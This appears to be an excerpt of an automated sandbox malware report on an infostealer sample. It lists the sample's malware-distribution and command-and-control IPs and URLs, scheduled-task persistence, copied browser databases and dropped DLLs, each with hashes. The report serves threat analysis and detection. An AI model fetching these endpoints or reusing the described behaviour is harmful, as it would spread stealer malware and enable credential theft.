16:32:21	API Interceptor	2522062x Sleep call for process: explorti.exe modified
21:32:18	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
77.91.77.81	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	77.91.77.81/stealc/random.exe
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/mine/amadka.exe
	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	77.91.77.81/Kiru9gu/index.php
	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	hsRju5CPK2.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	77.91.77.81/Kiru9gu/index.php
85.28.47.4	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	UjgmwyFttK.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/69934896f997d5bb/sqlite3.dll
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	85.28.47.4/920475a59bac849d.php
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	KgXj6BW5dZ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	77.91.77.80
	file.exe	Get hash	malicious	Amadey	Browse	77.91.77.82
	installer.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66
	jYXfxdLoiV.pdf	Get hash	malicious	GRQ Scam	Browse	77.91.77.34
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	77.91.77.80
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	77.91.77.81
GES-ASRU	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	85.28.47.4
	UjgmwyFttK.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	85.28.47.4
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	2snSKQHbDz.exe	Get hash	malicious	RedLine	Browse	85.28.47.7
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	77.91.77.80
	file.exe	Get hash	malicious	Amadey	Browse	77.91.77.82
	installer.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66
	jYXfxdLoiV.pdf	Get hash	malicious	GRQ Scam	Browse	77.91.77.34
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	77.91.77.80
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	77.91.77.81

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	9444f34a94d494a78e19e19f4e1615744e500aca97a56.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	8Scta2jVt5.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	38XY6jzm6P.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	tUB0RZsuki.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	zny5cLXehf.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	9444f34a94d494a78e19e19f4e1615744e500aca97a56.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	8Scta2jVt5.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	38XY6jzm6P.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	tUB0RZsuki.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	zny5cLXehf.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKJEGCFBGDHJJJJJKJECFCFCAA

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKFHCFBGIIJKFHJDHDH

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DGDBKFBAKFBFHIECFBFI

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGHDHIDGHIDGIECBKKJJJEHCFC

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCGHJEBG

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIJDBAKKKFBFHIDGIIEH

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJKEBGHJ

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKFBAAFCGIEGDHIEBFIIECAAKF

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Zachv5lCuu.exe, Detection: malicious, Browse Filename: 1719520929.094843_setup.exe, Detection: malicious, Browse Filename: j7iUba2bki.exe, Detection: malicious, Browse Filename: 9444f34a94d494a78e19e19f4e1615744e500aca97a56.exe, Detection: malicious, Browse Filename: 1Cvd8TyYPm.exe, Detection: malicious, Browse Filename: ukuWaeRgPR.exe, Detection: malicious, Browse Filename: 8Scta2jVt5.exe, Detection: malicious, Browse Filename: 38XY6jzm6P.exe, Detection: malicious, Browse Filename: tUB0RZsuki.exe, Detection: malicious, Browse Filename: zny5cLXehf.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Zachv5lCuu.exe, Detection: malicious, Browse Filename: 1719520929.094843_setup.exe, Detection: malicious, Browse Filename: j7iUba2bki.exe, Detection: malicious, Browse Filename: 9444f34a94d494a78e19e19f4e1615744e500aca97a56.exe, Detection: malicious, Browse Filename: 1Cvd8TyYPm.exe, Detection: malicious, Browse Filename: ukuWaeRgPR.exe, Detection: malicious, Browse Filename: 8Scta2jVt5.exe, Detection: malicious, Browse Filename: 38XY6jzm6P.exe, Detection: malicious, Browse Filename: tUB0RZsuki.exe, Detection: malicious, Browse Filename: zny5cLXehf.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1899520
Entropy (8bit):	7.951017654582535
Encrypted:	false
SSDEEP:	49152:BEkBzdBptx3vjjs9nV/r0QTWcitpj2aapepCiGdZeME:ZDBpA9V/r0yOtpj2SqK
MD5:	41327F38F138A156BF02E81F5047DC06
SHA1:	6F38D2FD6302AC5C508084C805DC04E432565033
SHA-256:	7CFA96DDAB555419B82206C2F1F1DD16567A083421CF0E99D6ABF2E03FC551D9
SHA-512:	5A93EB0BFCFD59147DFFBBA9DE74D8956E3E302C6166F048B02F1615AE47F2F46AA2753AD172DC30987A8BA3FB7A47761B3B618F5837879F7C0B634AB5312C58
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
